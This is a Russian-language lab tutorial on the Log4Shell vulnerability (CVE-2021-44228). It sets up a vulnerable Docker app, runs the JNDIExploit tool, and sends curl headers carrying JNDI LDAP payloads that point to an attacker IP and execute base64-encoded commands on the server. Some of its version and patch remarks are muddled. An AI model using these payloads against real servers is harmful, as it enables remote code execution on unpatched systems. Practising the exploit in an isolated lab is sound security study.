log4shell

log4shell


log4j - java-пакет для сбора и хранения логов сервера, который оказался уязвимым к хакерским атакам. Специалисты придумали эксплоит, который позволяет удалённо выполнять команды на сервере с уязвимой версией log4j. 

CVE-2021-44228 или log4shell - уязвимость этого java-пакета.


Серьёзные компании, вроде Microsoft, apple, amazon и тд были уязвимы к этой атаке, но к счастью их быстро проинформировали и они защитили свои сервера.

Однако по всему миру существует огромное количество серверов с этой уязвимостью, это могут быть даже банальные Minecraft-сервера.

Чтобы обезопасить свой сервер от этой атаки, нужно обновить log4j до самой последней версии. Но далеко не каждый админ знает об этой дыре, и поэтому могут уйти недели, месяцы или даже годы на то, чтобы они обновили пакет. К слову версия 2.16.0 и является уязвимой.


Как работает эксплоит:

достаточно передать на сервер одну строку, содержащую простую команду и адрес атакующего, тогда библиотека выполнит этот код.

Было выпущено 3 патча из за этой дыры. Первые 2 не оказались преградой для атак, а вот третий вроде норм.

Мнение у специалистов в области ИБ сводится к одному - "мир в огне", "всем п*зда", ну и так далее


Установка уязвимого сервера для тестов:

Это следует проводить на виртуальной машине, так как эксплоит является тестовым.

Машина: Kali Linux 2021.3


Установка docker и сервера:

(все команды выполнять от имени root!)

apt-get update
apt-get install docker docker.io -y
docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app

Если в терминале появляется такой выбор:

То выбираем <Yes> для перезапуска служб.


Установка эксплоита:

Переходим по ссылке и автоматически начнётся скачивание архива:

https://bit.ly/3E4kxuk

(ссылка сокращена, потому что архив удалён с гита, однако осталась копия на wayback machine, но она длинная.)

Переходим в папку загрузок и распаковываем архив:

unzip JNDIExploit.v1.2.zip

Далее вводим эту команду для прослушки 1389 и 8888 портов:

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i <LOCAL IP> -p 8888

Где <LOCAL IP> - IP-адрес атакующего.

Атака на сервер:

Итак, у нас есть уязвимый сервер и эксплоит для него. Теперь вводим эту команду:

curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://<LOCAL IP>:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

Где 127.0.0.1:8080 - IP жертвы (сервера), а <LOCAL IP> - IP-адрес атакующего.

Эта команда отправляет запрос на сервер для удалённого выполнения команды в виде base64. Где "dG91Y2ggL3RtcC9wd25lZAo=" - и есть команда. При расшифровке можно понять, что она делает:

Команда создаёт файл по пути /tmp с названием pwned. После её выполнения в терминале отобразится текст "Hello, world!".

Чтобы проверить, выполнена ли команда на сервере, проверяем на нём файлы:

docker exec vulnerable-app ls /tmp

Должен отобразится файл pwned.


Вместо команды, показанной в примере, можно выполнить любую другую. Например перезапуск сервера, запуск другого эксплоита, удаление всех файлов и тд.

Предположим у нас стоит задача теперь удалить файл pwned, который мы создали. Для этого будет такая команда:

cd /tmp && rm pwned

Чтобы её запустить на атакуемом сервере, нужно открыть какой-нибудь base64 декодер и зашифровать её:

Копируем результат и вставляем в эту команду:

curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://<LOCAL IP>:1389/Basic/Command/Base64/<Base64 code>}'

Где 127.0.0.1:8080 - IP жертвы (сервера), <LOCAL IP> - IP-адрес атакующего, а <Base64 code> - скопированный раннее результат (сюда и нужно вставить результат).

У меня получилась такая команда:

curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://10.0.2.15:1389/Basic/Command/Base64/Y2QgL3RtcCAmJiBybSBwd25lZCA=}'

Проверяем:

Немного примеров из новостей:


Report Page